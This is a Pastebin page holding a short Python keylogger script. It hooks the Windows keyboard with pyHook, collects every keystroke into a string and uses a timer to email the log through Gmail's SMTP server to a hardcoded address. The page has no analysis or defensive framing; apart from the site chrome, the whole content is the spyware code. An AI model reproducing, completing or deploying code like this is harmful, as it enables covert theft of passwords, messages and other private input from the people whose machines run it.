Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import pythoncom, pyHook, smtplib
- from threading import Timer
- msg = ""
- def OnKeyboardEvent(event):
- #File = open('config.txt', 'w')
- global msg
- msg = msg + event.Key
- #File.write(keyPress)
- return True
- def sendLog(m):
- #File.close()
- #File = open('config.txt', 'r')
- #m = File.read()
- gmailUser = 'zachctown@gmail.com'
- gmailPassword = 'blah'
- recip = "zachctown@gmail.com"
- mailServer = smtplib.SMTP('smtp.gmail.com', 587)
- mailServer.ehlo()
- mailServer.starttls()
- mailServer.ehlo()
- mailServer.login(gmailUser, gmailPassword)
- mailServer.sendmail(gmailUser, recip, m)
- hm = pyHook.HookManager()
- hm.KeyDown = OnKeyboardEvent
- hm.HookKeyboard()
- t = Timer(10.0, sendLog(msg))
- t.start()
- pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement